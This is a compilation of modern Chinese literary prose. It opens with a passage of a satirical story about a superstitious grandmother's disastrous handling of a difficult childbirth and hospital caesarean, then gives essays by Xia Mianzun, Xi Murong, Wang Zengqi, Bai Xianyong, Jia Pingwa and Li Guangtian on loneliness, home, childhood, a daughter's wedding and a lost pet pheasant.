　　现在，王少奶奶又有了喜，肚子大得惊人，看着颇象轧马路的石碾。看着这个肚子，王老太太心里仿佛长出两只小手，成天抓弄得自己怪要发笑的。这么丰满体面的肚子，要不是双胎才怪呢！子孙娘娘有灵，赏给一对白胖小子吧！王老太太可不只是祷告烧香呀，儿媳妇要吃活人脑子，老太太也不驳回。半夜三更还给儿媳妇送肘子汤，鸡丝挂面……儿媳妇也真作脸，越躺着越饿，点心点心就能吃二斤翻毛月饼：吃得顺着枕头往下流油，被窝的深处能扫出一大碗什锦来。孕妇不多吃怎么生胖小子呢？婆婆儿媳对于此点完全同意。婆婆这样，娘家妈也不能落后啊。她是七趟八趟来“催生”，每次至少带来八个食盒。两亲家，按着哲学上说，永远应当是对仇人。娘家妈带来的东西越多，婆婆越觉得这是有意羞辱人；婆婆越加紧张罗吃食，娘家妈越觉得女儿的嘴亏。这样一竞争，少奶奶可得其所哉，连嘴犄角都吃烂了。收生婆已经守了七天七夜，压根儿生不下来。偏方儿，丸药，子孙娘娘的香灰，吃多了；全不灵验。到第八天头上，少奶奶连鸡汤都顾不得喝了，疼得满地打滚。王老太太急得给子孙娘娘跪了一股香，娘家妈把天仙庵的尼姑接来念催生咒；还是不中用。一直闹到半夜，小孩算是露出头发来。收生婆施展了绝技，除了把少奶奶的下部全抓破了别无成绩。小孩一定不肯出来。长似一年的一分钟，竟自过了五六十来分，还是只见头发不见孩子。有人说，少奶奶得上医院。上医院？王老太太不能这么办。好吗，上医院去开肠破肚不自自然然的产出来，硬由肚子里往外掏！洋鬼子，二毛子，能那么办；王家要“养”下来的孙子，不要“掏”出来的。娘家妈也发了言，养小孩还能快了吗？小鸡生个蛋也得到了时候呀！况且催生咒还没念完，忙什么？不敬尼姑就是看不起神仙！

　　又耗了一点钟，孩子依然很固执。少奶奶直翻白眼。王老太太眼中含着老泪，心中打定了主意：保小的不保大人。媳妇死了，再娶一个；孩子更要紧。她翻白眼呀，正好一狠心把孩子拉出来。找奶妈养着一样的好，假如媳妇死了的话。告诉了收生婆，拉！娘家妈可不干了呢，眼看着女儿翻了两点钟的白眼！孙子算老几，女儿是女儿。上医院吧，别等念完催生咒了；谁知道尼姑们念的是什么呢，假如不是催生咒，岂不坏了事？把尼姑打发了。婆婆还是不答应；“掏”，行不开！婆婆不赞成，娘家妈还真没主意。嫁出的女儿泼出的水，活是王家的人，死是王家的鬼呀。两亲家彼此瞪着，恨不能咬下谁一块肉才解气。

　　又过了半点多钟，孩子依然不动声色，干脆就是不肯出来。收生婆见事不好，抓了一个空儿溜了。她一溜，王老太太有点拿不住劲儿了。娘家妈的话立刻增加了许多分量：“收生婆都跑了，不上医院还等什么呢？等小孩死在胎里哪！”“死”和“小孩”并举，打动了王太太的心。可是“掏”到底是行不开的。

　　“上医院去生产的多了，不是个个都掏。”娘家妈力争，虽然不一定信自己的话。

　　王老太太当然不信这个；上医院没有不掏的。

　　幸而娘家爹也赶到了。娘家妈的声势立刻浩大起来。娘家爹也主张上医院。他既然也这样说，只好去吧。无论怎说，他到底是个男人。虽然生小孩是女人的事，可是在这生死关头，男人的主意多少有些力量。

　　两亲家，王少奶奶，和只露着头发的孙子，一同坐汽车上了医院。刚露了头发就坐汽车，真可怜的慌，两亲家不住的落泪。

　　一到医院，王老太太就炸了烟①。怎么，还得挂号？什么叫挂号呀？生小孩子来了，又不是买官米打粥，按哪门子号头呀？王老太太气坏了，孙子可以不要了，不能挂这个号。可是继而一看，若是不挂号，人家大有不叫进去的意思。这口气难咽，可是还得咽；为孙子什么也得忍受。设若自己的老爷还活着，不立刻把医院拆个土平才怪；寡妇不行，有钱也得受人家的欺侮。没工夫细想心中的委屈，赶快把孙子请出来要紧。挂了号，人家要预收五十块钱。王老太太可抓住了：“五十？五百也行，老太太有钱！干脆要钱就结了，挂哪门子浪号，你当我的孙子是封信呢！”

　　医生来了。一见面，王老太太就炸了烟，男大夫！男医生当收生婆？我的儿媳妇不能叫男子大汉给接生。这一阵还没炸完，又出来两个大汉，抬起儿媳妇就往床上放。老太太连耳朵都哆嗦开了！这是要造反呀，人家一个年青青的孕妇，怎么一群大汉来动手脚的？“放下，你们这儿有懂人事的没有？

　　要是有的话，叫几个女的来！不然，我们走！”恰巧遇上个顶和气的医生，他发了话：“放下，叫她们走吧！”

　　王老太太咽了口凉气，咽下去砸得心中怪热的，要不是为孙子，至少得打大夫几个最响的嘴巴！现官不如现管，谁叫孙子故意闹脾气呢。抬吧，不用说废话。两个大汉刚把儿媳妇放在帆布床上，看！大夫用两只手在她肚子上这一阵按！王老太太闭上了眼，心中骂亲家母：你的女儿，叫男子这么按，你连一声也不发，德行！刚要骂出来，想起孙子；十来个月的没受过一点委屈，现在被大夫用手乱杵，嫩皮嫩骨的，受得住吗？她睁开了眼，想警告大夫。哪知道大夫反倒先问下来了：“孕妇净吃什么来着？这么大的肚子！你们这些人没办法，什么也给孕妇吃，吃得小孩这么肥大。平日也不来检验，产不下来才找我们！”他没等王老太太回答，向两个大汉说：“抬走！”

　　王老太太一辈子没受过这个。“老太太”到哪儿不是圣人，今天竟自听了一顿教训！这还不提，话总得说得近情近理呀；孕妇不多吃点滋养品，怎能生小孩呢，小孩怎会生长呢？难道大夫在胎里的时候专喝西北风？西医全是二毛子！不便和二毛子辩驳；拿娘家妈杀气吧，瞪着她！娘家妈没有意思挨瞪，跟着女儿就往里走。王老太太一看，也忙赶上前去。那位和气生财的大夫转过身来：“这儿等着！”

　　两亲家的眼都红了。怎么着，不叫进去看看？我们知道你把儿媳妇抬到哪儿去啊？是杀了，还是剐了啊？大夫走了。王老太太把一肚子邪气全照顾了娘家妈：“你说不掏，看，连进去看看都不行！掏？还许大切八块呢！宰了你的女儿活该！万一要把我的孙子——我的老命不要了。跟你拚了吧！”

　　娘家妈心中打了鼓，真要把女儿切了，可怎办？大切八块不是没有的事呀，那回医学堂开会不是大玻璃箱里装着人腿人腔子吗？没办法！事已至此，跟女儿的婆婆干吧！“你倒怨我？是谁一天到晚填我的女儿来着？没听大夫说吗？老叫儿媳妇的嘴不闲着，吃出毛病来没有？我见人见多了，就没看见一个象你这样的婆婆！”

　　“我给她吃？她在你们家的时候吃过饱饭吗？”王太太反攻。

　　“在我们家里没吃过饱饭，所以每次看女儿去得带八个食盒！”

　　“可是呀，八个食盒，我填她，你没有？”

　　两亲家混战一番，全不示弱，骂得也很具风格。

　　大夫又回来了。果不出王老太太所料，得用手术。手术二字虽听着耳生，可是猜也猜着了，手要是竖起来，还不是开刀问斩？大夫说：用手术，大人小孩或者都能保全。不然，全有生命的危险。小孩已经误了三小时，而且决不能产下来，孩子太大。不过，要施手术，得有亲族的签字。王老太太一个字没听见。掏是行不开的。

　　“怎样？快决定！”大夫十分的着急。

　　“掏是行不开的！”

　　“愿意签字不？快着！”大夫又紧了一板。

　　“我的孙子得养出来！”

　　娘家妈急了：“我签字行不行？”

　　王老太太对亲家母的话似乎特别的注意：“我的儿媳妇！你算哪道？”

　　大夫真急了，在王老太太的耳根子上扯开脖子喊：“这可是两条人命的关系！”

　　“掏是不行的！”

　　“那么你不要孙子了？”大夫想用孙子打动她。

　　果然有效，她半天没言语。她的眼前来了许多鬼影，全似乎是向她说：“我们要个接续香烟的，掏出来的也行！”她投降了。祖宗当然是愿要孙子；掏吧！“可有一样，掏出来得是活的！”她既是听了祖宗的话，允许大夫给掏孙子，当然得说明了——要活的。掏出个死的来干吗用？只要掏出活孙子来，儿媳妇就是死了也没大关系。

　　娘家妈可是不放心女儿：“准能保大小都活着吗？”“少说话！”王老太太教训亲家太太。

　　“我相信没危险，”大夫急得直流汗，“可是小孩已经耽误了半天，难保没个意外；要不然请你签字干吗？”“不保准呀？乘早不用费这道手！”老太太对祖宗非常的负责任；好吗，掏了半天都再不会活着，对的起谁！“好吧，”大夫都气晕了，“请把她拉回去吧！你可记住了，两条人命！”

　　“两条三条吧，你又不保准，这不是瞎扯！”

　　大夫一声没出，抹头就走。

　　王老太太想起来了，试试也好。要不是大夫要走，她决想不起这一招儿来。“大夫，大夫！你回来呀，试试吧！”

　　大夫气得不知是哭好还是笑好。把单子念给她听，她画了个十字儿。

　　两亲家等了不晓得多么大的时候，眼看就天亮了，才掏了出来，好大的孙子，足分量十三磅！王老太太不晓得怎么笑好了，拉住亲家母的手一边笑一边刷刷的落泪。亲家母已不是仇人了，变成了老姐姐。大夫也不是二毛子了，是王家的恩人，马上赏给他一百块钱才合适。假如不是这一掏，叫这么胖的大孙子生生的憋死，怎对祖宗呀？恨不能跪下就磕一阵头，可惜医院里没供着子孙娘娘。

　　胖孙子已被洗好，放在小儿室内。两位老太太要进去看看。不只是看看，要用一夜没洗过的老手指去摸摸孙子的胖脸蛋。看护不准两亲家进去，只能隔着玻璃窗看着。眼看着自己的孙子在里面，自己的孙子，连摸摸都不准！娘家妈摸出个红封套来——本是预备赏给收生婆的——递给看护；给点运动费，还不准进去？事情都来得邪，看护居然不收。王老太太揉了揉眼，细端详了看护一番，心里说：“不象洋鬼子妞呀，怎么给赏钱都不接着呢？也许是面生，不好意思的？有了，先跟她闲扯几句，打开了生脸就好办了。”指着屋里的一排小篮说：“这些孩子都是掏出来的吧？”

　　“只是你们这个，其余的都是好好养下来的。”“没那个事，”王老太太心里说，“上医院来的都得掏。”

　　“给孕妇大油大肉吃才掏呢，”看护有点爱说话。“不吃，孩子怎能长这么大呢！”娘家妈已和王老太太立在同一战线上。

　　“掏出来的胖宝贝总比养下来的瘦猴儿强！”王老太太有点觉得不掏出来的孩子没有住医院的资格。“上医院来‘养’，脱了裤子放屁，费什么两道手！”

　　无论怎说，两亲家干瞪眼进不去。

　　王老太太有了主意，“丫环，”她叫那个看护，“把孩子给我，我们家去。还得赶紧去预备洗三请客呢！”“我既不是丫环，也不能把小孩给你，”看护也够和气的。

　　“我的孙子，你敢不给我吗？医院里能请客办事吗？”

　　”用手术取出来的，大人一时不能给小孩奶吃，我们得给他奶吃。”

　　“你会，我们不会？我这快六十的人了，生过儿养过女，不比你懂得多；你养过小孩吗？”老太太也说不清看护是姑娘，还是媳妇，谁知道这头戴小白盔的是什么呢。

　　“没大夫的话，反正小孩不能交给你！”

　　“去把大夫叫来好了，我跟他说；还不愿意跟你费话呢！”“大夫还没完事呢，割开肚子还得缝上呢。”

　　看护说到这里，娘家妈想起来女儿。王老太太似乎还想不起儿媳妇是谁。孙子没生下来的时候，一想起孙子便也想到媳妇；孙子生下来了，似乎把媳妇忘了也没什么。娘家妈可是要看看女儿，谁知道女儿的肚子上开了多大一个洞呢？割病室不许闲人进去，没法，只好陪着王老太太瞭望着胖小子吧。

　　好容易看见大夫出来了。王老太太赶紧去交涉。

　　“用手术取小孩，顶好在院里住一个月，”大夫说。“那么三天满月怎么办呢？”王老太太问。

　　“是命要紧，还是办三天要紧呢？产妇的肚子没长上，怎能去应酬客人呢？”大夫反问。

　　王老太太确是以为办三天比人命要紧，可是不便于说出来，因为娘家妈在旁边听着呢。至于肚子没长好，怎能招待客人，那有办法：“叫她躺着招待，不必起来就是了。”大夫还是不答应。王老太太悟出一条理来：“住院不是为要钱吗？好，我给你钱，叫我们娘们走吧，这还不行？”“你自己看看去，她能走不能？”大夫说。

　　两亲家反都不敢去了。万一儿媳妇肚子上还有个盆大的洞，多么吓人？还是娘家妈爱女儿的心重，大着胆子想去看看。王老太太也不好意思不跟着。

　　到了病房，儿媳妇在床上放着的一张卧椅上躺着呢，脸就象一张白纸。娘家妈哭得放了声，不知道女儿是活还是死。王老太太到底心硬，只落了一半个泪，紧跟着炸了烟：“怎么不叫她平平正正的躺下呢？这是受什么洋刑罚呢？”“直着呀，肚子上缝的线就绷了，明白没有？”大夫说。“那么不会用胶粘上点吗？”王老太太总觉得大夫没有什么高明主意。

　　娘家妈想和女儿说几句话，大夫也不允许。两亲家似乎看出来，大夫不定使了什么坏招儿，把产妇弄成这个样。无论怎说吧，大概一时是不能出院。好吧。先把孙子抱走，回家好办三天呀。

　　大夫也不答应，王老太太急了。“医院里洗三不洗？要是洗的话，我把亲友全请到这儿来；要是不洗的话，再叫我抱走；头大的孙子，洗三不请客办事，还有什么脸得活着？”“谁给小孩奶吃呢？”大夫问。

　　“雇奶妈子！”王老太太完全胜利。

　　到底把孙子抱出来了。王老太太抱着孙子上了汽车，一上车就打嚏喷，一直打到家，每个嚏喷都是照准了孙子的脸射去的。到了家，赶紧派人去找奶妈子，孙子还在怀中抱着，以便接收嚏喷。不错，王老太太知道自己是着了凉；可是至死也不能放下孙子。到了晌午，孙子接了至少有二百多个嚏喷，身上慢慢的热起来。王老太太更不肯撒手了。到了下午三点来钟，孙子烧得象块火炭了。到了夜里，奶妈子已雇妥了两个，可是孙子死了，一口奶也没有吃。

　　王老太太只哭了一大阵；哭完了，她的老眼瞪圆了：“掏出来的！掏出来的能活吗？跟医院打官司！那么沉重的孙子会只活了一天，哪有的事？全是医院的坏，二毛子们！”

　　王老太太约上亲家母，上医院去闹。娘家妈也想把女儿赶紧接出来，医院是靠不住的！

　　把儿媳妇接出来了；不接出来怎好打官司呢？接出来不久，儿媳妇的肚子裂了缝，贴上“产后回春膏”也没什么用，她也不言不语的死了。好吧，两案归一，王老太太把医院告了下来。老命不要了，不能不给孙子和媳妇报仇！

中年人的寂寞

夏丏尊

　　我已是一个中年的人。一到中年，就有许多不愉快的现象，眼睛昏花了，记忆力减退了，头发开始秃脱而且变白了，意兴，体力，什么都不如年青的时候，常不禁会感觉到难以名言的寂寞的情味。尤其觉得难堪的是知友的逐渐减少和疏远，缺乏交际上的温暖的慰藉。

　　不消说，相识的人数是随了年龄增加的，一个人年龄越大，走过的地方当过的职务越多，相识的人理该越增加了。可是相识的人并不就是朋友。我们和许多人相识，或是因了事务关系，或是因了偶然的机缘——如在别人请客的时候同席吃过饭之类。见面时点头或握手，有事时走访或通信，口头上彼此也称“朋友”，笔头上有时或称“仁兄”，诸如此类，其实只是一种社交上的客套，和“顿首“百拜”同是仪式的虚伪。这种交际可以说是社交，和真正的友谊相差似乎很远。

　　真正的朋友，恐怕要算“总角之交”或“竹马之交”了。在小学和中学的时代容易结成真实的友谊，那时彼此尚不感到生活的压迫，入世未深，打算计较的念头也少，朋友的结成全由于志趣相近或性情适合，差不多可以说是“无所为”的，性质比较地纯粹。二十岁以后结成的友谊，大概已不免搀有各种各样的颜色分子在内；至于三十岁四十岁以后的朋友中间，颜色分子愈多，友谊的真实成分也就不免因而愈少了。这并不一定是“人心不古”，实可以说是人生的悲剧。人到了成年以后，彼此都有生活的重担须负，入世既深，顾忌的方面也自然加多起来，在交际上不许你不计较，不许你不打算，结果彼此都“钩心斗角”，像七巧板似地只选定了某一方面和对方去接合。这样的接合当然是很不坚固的，尤其是现代这样什么都到了尖锐化的时代。

　　在我自己的交游中，最值得系念的老是一些少年时代以来的朋友。这些朋友本来数目就不多，有些住在远地，连相会的机会也不可多得。他们有的年龄大过了我，有的小我几岁，都是中年以上的人了，平日各人所走的方向不同。思想趣味境遇也都不免互异，大家晤谈起来，也常会遇到说不出的隔膜的情形。如大家话旧，旧事是彼此共喻的，而且大半都是少年时代的事，“旧游如梦”，把梦也似的过去的少年时代重提，因谈话的进行，同时会联想起许多当时的事情，许多当时的人的面影，这时好像自己仍回归到少年时代了。我常在这种时候感到一种快乐，同时也感到一种伤感，那情形好比老妇人突然在抽屉里或箱子里发见了她盛年时的影片。

　　逢到和旧友谈话，就不知不觉地把话题转到旧事上去，这是我的习惯。我在这上面无意识地会感到一种温暖的慰藉。可是这些旧友一年比一年减少了，本来只是屈指可数的几个，少去一个是无法弥补的。我每当听到一个旧友死去的消息，总要惆怅多时。

　　学校教育给我们的好处不但只是灌输知识，最大的好处恐怕还在给与我们求友的机会上。这好处我到了离学校以后才知道，这几年来更确切地体会到，深悔当时毫不自觉．马马虎虎地过去了。近来每日早晚在路上见到两两三三的携着书包、携了手或挽了肩膀走着的青年学生，我总艳羡他们有朋友之乐，暗暗地要在心中替他们祝福。

给我一个岛

席慕容

　　你知道吗？在那个夏天的海洋上，我多希望能够像她一样，拥有一个小小的岛。

　　她的岛实在很小，小到每一个住在岛上的居民都不能不相识，不能不相知。

　　船本来已经离开码头，已经准备驶往另一个更大的岛去了，但是，忽然之间，船头换了方向，又朝小岛驶了回去。

　　我问她为什么？是出了什么事吗？

　　她微微一笑，指着把舵的少年说：“不是啦，是他的哥哥有事找他。”

　　码头上并没有什么人，只看见远远的山路上，有辆摩托车正在往这边驶来。天很蓝，海很安静，我们也都静静地坐在甲板上等待着，等待着那越来越近的马达的声音。

　　果然，是少年的哥哥要他去马公带一些修船的零件回来，样品从码头上那只粗壮黝黑的手臂中抛出，轻缓而又准确地，被船上另一只同样粗壮黝黑的手臂接住了。没听到有人说谢谢，也没听到什么人说再见。只有船上的少年微微向岸上挥一下手，船就离开了。

　　回头望过去，小岛静静地躺在湛蓝的海上，在几丛毗邻的房屋之间，孩子们正在游戏追逐，用石砌成的屋墙听说可以支持一千年，灰色的石块在阳光下有一种令人觉得踏实和安稳的色泽。

　　再延伸过来，在岛的这一边，是连绵着的又细又白又温暖的沙滩，长长的一直伸到海里。天气很晴朗，海水因而几乎是透明的，从船边望下去，可以很清楚地看到海底的珊瑚礁。

　　我问她：“这里，是你的家乡吗？”

　　“是我先生的，他是在这个岛上出生的。”

　　她的回答有一种不自觉的欢喜与自豪，让我不得不羡慕起她来。

　　船在海上慢慢地走着，在广阔的海洋上，船是多么自由啊！从小到大，一直喜欢坐船，喜欢那一种乘风破浪的欢畅，不论在哪里，往前走的船永远能给我一种欢乐和自由的感觉。但是，我现在才明白，所有的欢乐和自由都必须要有一个据点，要有一个岛在心里，在扬帆出发的时候，知道自己随时可以回来，那样的旅程才会有真正的快乐。原来，自由的后面也要有一种不变的依恋，才能成为真正的自由。

　　我多希望，也能够有一个小小的岛，在这个岛上，有我熟悉的朋友，有我亲爱的家人。

　　我多希望，也能够有一个岛，在不变的海洋上等待着我。

　　不管我会在旅途上遭逢到什么样的挫折，不管我会在多么遥远的地方停留下来，不管我会在他乡停留多久，半生甚至一生！只要我心里知道，在不变的海洋上有一个不变的岛在等待着我，那么，这人世间一切的颠沛与艰难都是可以忍受并且可以克服的了。

　　你说，我的希望和要求算不算过分呢？

丑脸

汪曾祺

　　这四位略有赀财，但在城里算不上是绅士大户，因此对绅士大户很巴结。大户人家有事，婚丧寿庆，他们必定是礼到人到，从不缺席。他们和绅士大户多少都能拉扯一点亲戚关系，叙起来却好像是至亲。他们来了，气氛就活跃起来，很多人都愿意看他们一眼，然后抿嘴而笑。有时他们凑一桌麻将，来看一眼，抿嘴笑着走开的人更多。女眷们伸了脑袋，尽情地看够，然后跑到对面廊子上放声大笑，笑得上气不接下气，笑得直揉肚子，嘴里还要不停地乱叫：“哎哟哎哟……”。

　　这四位长得奇丑。他们长了四张丑脸。

　　第一位是驴脸。这没有太特别处，只是特别的长而已。

　　第二位，女眷们叫他“瓢把子脸”，是说他的额头大，且光滑无毛，下巴又有点向外兜。

　　第三位是“磨刀砖脸”，是说脸狭长，上下都有点翘，而当中是个凹脸心。

　　第四位最特别，是一张“鞋拔子脸”。鞋拔子后来很少见到了，当初是常见的。那会穿鞋时兴狭小，得用鞋拔子拔，用手是拔不上去的。“鞋拔子脸”是什么样的呢？没有看过的，想象不出，但是一看见这张脸，就觉得真像！这不知道是哪一位尖嘴促狭的少奶奶想出来的！

　　这四位相继去世了。前后脚。

　　人总要死的，不论长了一张什么脸。

上海童年

白先勇

　　我是一九四六年春天，抗战胜利后第二年初次到达上海的，那时候我才九岁，在上海住了两年半，直到四八年的深秋离开。可是那一段童年，对我一生，都意义非凡。记得第一次去游“大世界”，站在“哈哈镜”面前，看到镜里反映出扭曲变形后自己胖胖瘦瘦高高矮矮奇形怪状，笑不可止。童年看世界，大概就像“哈哈镜”折射出来的印象，夸大了许多倍。上海本来就大，小孩子看上海，更加大。战后的上海是个花花世界，像只巨大无比的万花筒，随便转一下，花样百出。

　　“国际饭店”当时号称远东第一高楼，其实也不过二十四层，可是那时真的觉得饭店顶楼快要摩到天了，仰头一望，帽子都会掉落尘埃。我从来没有见过那么多的高楼大厦聚集在一个城里，南京路上的四大公司——永安、先施、新新、大新，像是四座高峰隔街对峙，高楼大厦密集的地方会提升人的情绪，逛四大公司，是我在上海童年时代的一段兴奋经验。永安公司里一层又一层的百货商场，琳琅满目，彩色缤纷，好像都在闪闪发亮，那是个魔术般变化多端层出不穷的童话世界，就好像永安公司的“七重天”，连天都有七重。我踏着自动扶梯，冉冉往空中升去，那样的电动扶梯，那时全国只有大新公司那一架，那是一道天梯，载着我童年的梦幻伸向大新游乐场的“天台十六景”。

　　当年上海的电影院也是全国第一流的。“大光明”的红绒地毯有两寸厚，一直蜿蜒铺到楼上，走在上面软绵绵，一点声音都没有。当时上海的首轮戏院“美琪”、“国泰”、“卡尔登”专门放映好莱坞的西片，《乱世佳人》在“大光明”上演，静安寺路挤得车子都走不通，上海人的洋派头大概都是从好莱坞的电影里学来的。“卡尔登”有个英文名字叫 Carlton，是间装饰典雅、小巧玲珑的戏院，我在那里只看过一次电影，是“玉腿美人”蓓蒂葛兰宝主演的《甜姐儿》。“卡尔登”就是现在南京西路上的“长江剧院”，没想到几十年后，一九八八年，我自己写的舞台剧《游园惊梦》也在“长江剧院”上演了，一连演十八场，由上海“青话”胡伟民导演执导。

　　那时上海滩头到处都在播放周璇的歌。家家“月圆花好”，户户“凤凰于飞”，小时候听的歌，有些歌词永远也不会记忆：

　　上海没有花，大家到龙华，龙华的桃花都回不了家！

　　大概是受了周璇这首《龙华的桃花》影响，一直以为龙华盛产桃花，一九八七年重返上海，游龙华时，特别注意一下，也没有看见什么桃花，周璇时代的桃花早就无影无踪了。

　　夜上海、夜上海，你是个不夜城。华灯起，车声响，歌舞升平。

　　这首周璇最有名的《夜上海》大概也相当真实的反映了战后上海的情调马。当时霞飞路上的霓虹灯的确通宵不灭，上海城开不夜。

　　其实头一年我住在上海西郊，关在虹桥路上一幢德国式的小洋房里养病，很少到上海市区，第二年搬到法租界毕勋路，开始复学，在徐家汇的南洋模范小学念书，才真正看到上海，但童稚的眼睛像照相机，只要看到，咔嚓一下就拍了下来，存档在记忆里。虽然短短的一段时间，脑海里恐怕也印下了千千百百幅“上海印象”，把一个即将结束的旧时代，最后的一抹繁华，匆匆拍摄下来。

　　后来到了台湾上大学后，开始写我的第一篇小说《金大奶奶》，写的就是上海故事，后来到了美国，开始写我小说集《台北人》的头一篇《永远的尹雪艳》，写的又是上海的人与事，而且还把“国际饭店”写了进去。我另外一系列题名为《纽约客》的小说，开头的一篇《谪仙记》也是写一群上海小姐到美国留学的点点滴滴，这篇小说由导演谢晋改拍成电影《最后的贵族》，开始有个镜头拍的便是上海的外滩。这些恐怕并非偶然，而是我的“上海童年”逐渐酝酿发酵，那些存在记忆档案里的旧照片，拼拼凑凑，开始排列出一幅幅悲欢离合的人生百相来，而照片的背景总还是当年的上海。

在女儿婚礼上的讲话

贾平凹

　　我二十七岁有了女儿，多少个艰辛和忙乱的日子里，总盼望着孩子长大，她就是长不大，但突然间她长大了，有了漂亮、有了健康、有了知识，今天又做了幸福的新娘！我的前半生，写下了百十余部作品，而让我最温暖的也最牵肠挂肚和最有压力的作品就是贾浅。她诞生于爱，成长于爱中，是我的淘气，是我的贴心小棉袄，也是我的朋友。我没有男孩，一直把她当男孩看，贾氏家族也一直把她当做希望之花。我是从困苦境域里一步步走过来的，我发誓不让我的孩子像我过去那样的贫穷和坎坷，但要在“长安居大不易”，我要求她自强不息，又必须善良、宽容。二十多年里，我或许对她粗暴呵斥，或许对她无为而治，贾浅无疑是做到了这一点。当年我的父亲为我而欣慰过，今天，贾浅也让我有了做父亲的欣慰。因此，我祝福我的孩子，也感谢我的孩子。

　　女大当嫁，这几年里，随着孩子的年龄增长，我和她的母亲对孩子越发感情复杂，一方面是她将要离开我们，一方面是迎接她的又是怎样的一个未来？我们祈祷着她能受到爱神的光顾，觅寻到她的意中人，获得她应该有的幸福。终于，在今天，她寻到了，也是我们把她交给了一个优秀的俊朗的贾少龙！我们两家大人都是从乡下来到城里，虽然一个原籍在陕北，一个原籍在陕南，偏偏都姓贾，这就是神的旨意，是天定的良缘。两个孩子生活在富裕的年代，但他们没有染上浮华习气，成长于社会变型时期，他们依然纯真清明，他们是阳光的、进步的青年，他们的结合，以后的日子会快乐、灿烂！在这庄严而热烈的婚礼上，作为父母，我们向两个孩子说三句话。第一句，是一副对联：一等人忠臣孝子，两件事读书耕田。做对国家有用的人，做对家庭有责任的人。好读书能受用一生，认真工作就一辈子有饭吃。第二句话，仍是一句老话：“浴不必江海，要之去垢；马不必骐骥，要之善走。”做普通人，干正经事，可以爱小零钱，但必须有大胸怀。第三句话，还是老话：“心系一处。”在往后的岁月里，要创造、培养、磨合、建设、维护、完善你们自己的婚姻。今天，我万分感激着爱神的来临，它在天空星界，江河大地，也在这大厅里，我祈求着它永远地关照着两个孩子！我也万分感激着从四面八方赶来参加婚礼的各行各业的亲戚朋友，在十几年、几十年的岁月中，你们曾经关注、支持、帮助过我的写作、身体和生活，你们是我最尊重和铭记的人，我也希望你们在以后的岁月里关照、爱护、提携两个孩子，我拜托大家，向大家鞠躬！

雉

李广田

　　小时候，养过一只野鸡，从毛羽来丰时养起，所以它是很驯熟了，它认得我，懂得我的言语，并能辨识我的声音，我就是那只小鸟的母亲了。

　　这小鸟渐渐地长了花翅，当我用口哨唤它时，它把翅膀扇着，张了嘴，哥哥地叫，我吻它，喂养它，心里很喜欢了。暗想道：“你快些长大起来吧，要能飞就好，你可以站在我腕上，站在我肩上，或飞在我的头上，我可以带你到旷野去。那里是你原来的住家，你可以再回到你的森林了。但当我用口哨唤你时，你要再向我的肩上飞来，我再带你回家，那就顶快乐了。”

　　果然，不久它就能飞了，毛羽更美了。一只小鸟的长成比一个小孩的长成快得多多，我想，如果我也能赶快长大起来就好，如果能长了它那一双翅子就更好。有时，这样的愿望竟在梦里实现了，我同我的野鸡飞着，我同它一般大小，轻轻地，飞过了树林，飞过了小山，飞过了小河，我听到我的翅膀扇着的声音了，最后是被母亲捉住了这才醒来。虽然知道这是梦吧，却极喜欢，刚从床上起来便去看我的野鸡，我觉得它更长大了些，也更可爱了。

　　它饿了便叫，我用口哨唤它，飞到我的手上来了，这只是一种初飞的学习，它的翅膀还是软软的。它确有惊人的进步，我每是同它逗引着玩，我在前边哨着跑，让它在后面叫着追，当它又飞到我的手上时，我就抚着它的背安慰它。母亲说，“把它装到笼里去吧，不然，它要飞到树上去了。”哥哥说：“把它的翅子麻起来吧。怕它要飞向山林去了。”我说：“不，它已经很驯熟了呢。”

　　象哥哥母亲所说，那是太残忍了，而且也太没趣了，还是这样好。有一天，我要使它练习高飞，我把它托在掌上，说，“飞吧！”把手一举，它就飞了，果然就飞到了院里的树上，它在那里点头，摇尾，扇着翅望我，我说，“给我下来吧；”它就又飞到了我的手上。心想，这就好了，我很信任这只野鸡的心了。将来我要到田野去工作，带它同去，就让它到池边的树上去玩着吧，等工作完了时，我就唤它下来，我们再一同回家，那就顶快乐了。

　　日子过的很快，也很快活，我时常把我的野鸡放到庭院的树上，就这样，它是被我养大了。我并不希望它感激我，只希望它健康地活下去，而且伴着我工作，伴着我游玩，它要永久地伴着我，这样我就很满意了。爱管闲事的哥哥同母亲，老是要我提防它，说它有“忘恩负义”的心肠，我怎能信得这些，他们的话是对“人”说的，不是对“鸟”，而这只野鸡又是这样的驯熟了。我总爱把它放到树上再把它唤下来，这样，可以表示我驯养这鸟的功劳，更给他们看看这鸟对我的忠心。但有一次它飞到了树上去竟是唤也不来，只用了惊异的眼向四周窥探，向远处遥望，望了远方再望我。“你望些什么呢？”我说，“难道你望着那绿的山林吗？”说着，它却又飞了下来。我分明地看出，在它眼里有着惊怖的神色，我的手，似乎触到它的心的跳动了。我说：“绿的山林是可爱的，但我这里也并不是不自由啊。”它好象很感动，用嘴尖轻轻地啄我的手心，它小时候，这手心原是它平安的饭碗哩。

　　夏天了，田野里真绿得可爱，从田野那方面吹来的凉风，每令人想到：如果到那山阴的林里去睡下就幸福，到小河里去洗澡也快乐。住在家里是这样热，我的野鸡是这样不安，每是停在院里的树上东张西望，这也就难怪了，现在，它的能力已是完全齐备了吧，说不定它也许要飞回它的老家，但我又怎能缚它的脚或麻它的翅呢，这样的大鸟装在笼里也太不象样，养大它是为了看它飞，那么就让它飞吧。而每次当它飞了又回来时就觉得它更可爱。

　　有一天，它又飞到树上去了，它从这枝跳到那枝，从这树又跳到那树，它向远方张望了又把翅子屡次鼓动着，我用手招它，口哨着唤它，它向我低回了一眼，也并不是不表示着惋惜，但终于下了决心，似乎说“再见吧，哥哥！”把尾巴一摇，向旷野飞去了。

　　我是变成了什么样呢？我在树下呆了多时呢？我可不知道，想哭，也哭不出。我也跑向旷野去了。这天的天气太热，太阳把火焰直摔到地上，田里的稻都垂了头，树叶也懒怠颤动了。我漫山漫野地去找我的野鸡，太阳要落山的时候我还在田野里踯躅着，我的口哨也无力再吹了，我说，“你这野鸟，今番你是幸福的了。”不知怎地，想到幸福两字时眼里就落下泪来，当时，真想也住在绿野里才好哩。正这样想时，却使我大吃一惊：不曾找到野鸡，倒遇到哥哥了，哥哥是特地来寻我的。害羞呢？还是悲哀呢？莫知所以了。“长大了便飞，明年再养只小的吧。”听了这样的安慰和哥哥一齐回到了家里。

　　整个的夏天我都思念着我那野鸡。在家里就听着：是不是它又飞了回来；在田野里便寻着：是不是它还能认得我。夏天去了，天气也凉爽了，而我的野鸡还不曾归来。母亲说：“你也长大了，不要再玩什么野鸡，秋凉了送你上学堂去吧。”于是我就被关在了学堂里，一直到现在。

全世界的人都知道我丢了

李娟

